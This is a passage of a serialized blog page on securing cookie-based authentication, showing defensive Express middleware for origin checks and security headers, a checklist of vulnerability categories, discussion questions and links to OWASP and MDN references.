validation\n",[389,6618,6619],{"class":391,"line":2169},[389,6620,5534],{},[389,6622,6623],{"class":391,"line":2174},[389,6624,6625],{},"  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {\n",[389,6627,6628],{"class":391,"line":2195},[389,6629,5549],{},[389,6631,6632],{"class":391,"line":2263},[389,6633,5554],{},[389,6635,6636],{"class":391,"line":2270},[389,6637,5559],{},[389,6639,6640],{"class":391,"line":2275},[389,6641,2569],{},[389,6643,6644],{"class":391,"line":2309},[389,6645,5568],{},[389,6647,6648],{"class":391,"line":2351},[389,6649,6650],{},"    // Origin verification\n",[389,6652,6653],{"class":391,"line":2356},[389,6654,5578],{},[389,6656,6657],{"class":391,"line":2361},[389,6658,5583],{},[389,6660,6661],{"class":391,"line":2386},[389,6662,5588],{},[389,6664,6665],{"class":391,"line":2402},[389,6666,2569],{},[389,6668,6669],{"class":391,"line":2414},[389,6670,2161],{},[389,6672,6673],{"class":391,"line":2424},[389,6674,5601],{},[389,6676,6677],{"class":391,"line":2434},[389,6678,4936],{},[389,6680,6681],{"class":391,"line":2444},[389,6682,844],{"emptyLinePlaceholder":251},[389,6684,6685],{"class":391,"line":2494},[389,6686,6687],{},"// Security headers middleware\n",[389,6689,6690],{"class":391,"line":2500},[389,6691,5534],{},[389,6693,6694],{"class":391,"line":2510},[389,6695,6696],{},"  res.setHeader('X-Content-Type-Options', 'nosniff');\n",[389,6698,6699],{"class":391,"line":2554},[389,6700,6701],{},"  res.setHeader('X-Frame-Options', 'DENY');\n",[389,6703,6704],{"class":391,"line":2560},[389,6705,6706],{},"  res.setHeader('X-XSS-Protection', '1; mode=block');\n",[389,6708,6709],{"class":391,"line":2566},[389,6710,6711],{},"  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');\n",[389,6713,6714],{"class":391,"line":2572},[389,6715,5601],{},[389,6717,6718],{"class":391,"line":2598},[389,6719,4936],{},[389,6721,6722],{"class":391,"line":2608},[389,6723,844],{"emptyLinePlaceholder":251},[389,6725,6726],{"class":391,"line":2623},[389,6727,5614],{},[389,6729,6730],{"class":391,"line":2638},[389,6731,6732],{},"  const allowedOrigins = [\n",[389,6734,6735],{"class":391,"line":2654},[389,6736,6737],{},"    'https://yourdomain.com',\n",[389,6739,6740],{"class":391,"line":2670},[389,6741,6742],{},"    'https://app.yourdomain.com',\n",[389,6744,6745],{"class":391,"line":2686},[389,6746,6747],{},"    'https://api.yourdomain.com'\n",[389,6749,6750],{"class":391,"line":2729},[389,6751,6752],{},"  ];\n",[389,6754,6755],{"class":391,"line":2744},[389,6756,5624],{},[389,6758,6759],{"class":391,"line":2759},[389,6760,1342],{},[284,6762,6764],{"id":6763},"penetration-testing-checklist","🔍 Penetration Testing Checklist",[277,6766,6767],{},"Based on real-world attack scenarios, here's what attackers look for:",[308,6769,6772,6784,6793,6801,6810,6819,6828,6837],{"className":6770},[6771],"contains-task-list",[311,6773,6776,6779,6780,6783],{"className":6774},[6775],"task-list-item",[5108,6777],{"disabled":251,"type":6778},"checkbox"," ",[314,6781,6782],{},"XSS Vulnerabilities",": Input fields, search parameters, user-generated content",[311,6785,6787,6779,6789,6792],{"className":6786},[6775],[5108,6788],{"disabled":251,"type":6778},[314,6790,6791],{},"CSRF Vulnerabilities",": Sensitive actions without proper tokens",[311,6794,6796,6779,6798,6800],{"className":6795},[6775],[5108,6797],{"disabled":251,"type":6778},[314,6799,6174],{},": Predictable session IDs, session fixation",[311,6802,6804,6779,6806,6809],{"className":6803},[6775],[5108,6805],{"disabled":251,"type":6778},[314,6807,6808],{},"Cookie Security",": Missing httpOnly, secure, or sameSite flags",[311,6811,6813,6779,6815,6818],{"className":6812},[6775],[5108,6814],{"disabled":251,"type":6778},[314,6816,6817],{},"Input Validation",": Insufficient sanitization and validation",[311,6820,6822,6779,6824,6827],{"className":6821},[6775],[5108,6823],{"disabled":251,"type":6778},[314,6825,6826],{},"Rate Limiting",": Missing or weak rate limiting on sensitive endpoints",[311,6829,6831,6779,6833,6836],{"className":6830},[6775],[5108,6832],{"disabled":251,"type":6778},[314,6834,6835],{},"CSP Implementation",": Weak or missing Content Security Policy",[311,6838,6840,6779,6842,6845],{"className":6839},[6775],[5108,6841],{"disabled":251,"type":6778},[314,6843,6844],{},"Origin Verification",": Missing origin/referrer checks",[284,6847,6849],{"id":6848},"discussion-questions","🤔 Discussion Questions",[277,6851,6852],{},"💡 Do you prefer authentication with cookies or JWT? And if you were building an auth system, how would you secure it?",[277,6854,6855],{},"What advanced security measures have you implemented in your applications? Share your experiences! 💪🔥",[284,6857,6859],{"id":6858},"additional-resources","📚 Additional Resources",[308,6861,6862,6869,6876,6883,6890,6897],{},[311,6863,6864],{},[528,6865,6868],{"href":6866,"rel":6867},"https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html",[531],"OWASP Authentication Cheat Sheet",[311,6870,6871],{},[528,6872,6875],{"href":6873,"rel":6874},"https://owasp.org/www-project-top-ten/",[531],"OWASP Top 10 Web Application Security Risks",[311,6877,6878],{},[528,6879,6882],{"href":6880,"rel":6881},"https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies",[531],"MDN HTTP Cookies",[311,6884,6885],{},[528,6886,6889],{"href":6887,"rel":6888},"https://expressjs.com/en/advanced/best-practices-security.html",[531],"Express.js Security Best Practices",[311,6891,6892],{},[528,6893,6896],{"href":6894,"rel":6895},"https://www.w3.org/TR/CSP3/",[531],"Content Security Policy Level 3",[311,6898,6899],{},[528,6900,6903],{"href":6901,"rel":6902},"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite",[531],"SameSite Cookie Attribute",[3780,6905],{},[277,6907,6908],{},[3637,6909,6910],{},"This article was originally published on LinkedIn. Special thanks to Mohammed Khalid (Penetration Tester @ATW Ltd) for the advanced security insights and real-world attack perspectives. Follow me for more tips on web development and security!",[3793,6912,6913],{},"html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}",{"title":96,"searchDepth":716,"depth":716,"links":6915},[6916,6922,6926,6934,6935,6936,6937,6938,6939],{"id":4781,"depth":716,"text":4782,"children":6917},[6918,6919,6920,6921],{"id":4785,"depth":748,"text":4786},{"id":4792,"depth":748,"text":4793},{"id":4799,"depth":748,"text":4800},{"id":4806,"depth":748,"text":4807},{"id":4813,"depth":716,"text":4814,"children":6923},[6924,6925],{"id":4820,"depth":748,"text":4821},{"id":5046,"depth":748,"text":5047},{"id":5336,"depth":716,"text":5337,"children":6927},[6928,6929,6930,6931,6932,6933],{"id":5340,"depth":748,"text":5341},{"id":5408,"depth":748,"text":5409},{"id":5485,"depth":748,"text":5486},{"id":5631,"depth":748,"text":5632},{"id":5809,"depth":748,"text":5810},{"id":5934,"depth":748,"text":5935},{"id":6092,"depth":716,"text":6093},{"id":6194,"depth":716,"text":6195},{"id":6248,"depth":716,"text":6249},{"id":6763,"depth":716,"text":6764},{"id":6848,"depth":716,"text":6849},{"id":6858,"depth":716,"text":6859},"2025-03-10T00:00:00.000Z","A comprehensive guide to cookie-based authentication systems, how they work, security risks, and how to avoid them. Includes advanced penetration testing insights and real-world attack scenarios.","https://miro.medium.com/v2/resize:fit:1400/1*qzfEGrCI1hcp0xU1mNFWuA.png",{"tags":6944},[6945,6121,6109,3849,6946,6947],"Authentication","Penetration Testing","Advanced Security",{"title":14,"description":6941},"5b6mOvcVJYVOWcixi7u9ZYUQGWA40eJsjAyrt1rny-4",1782857530417]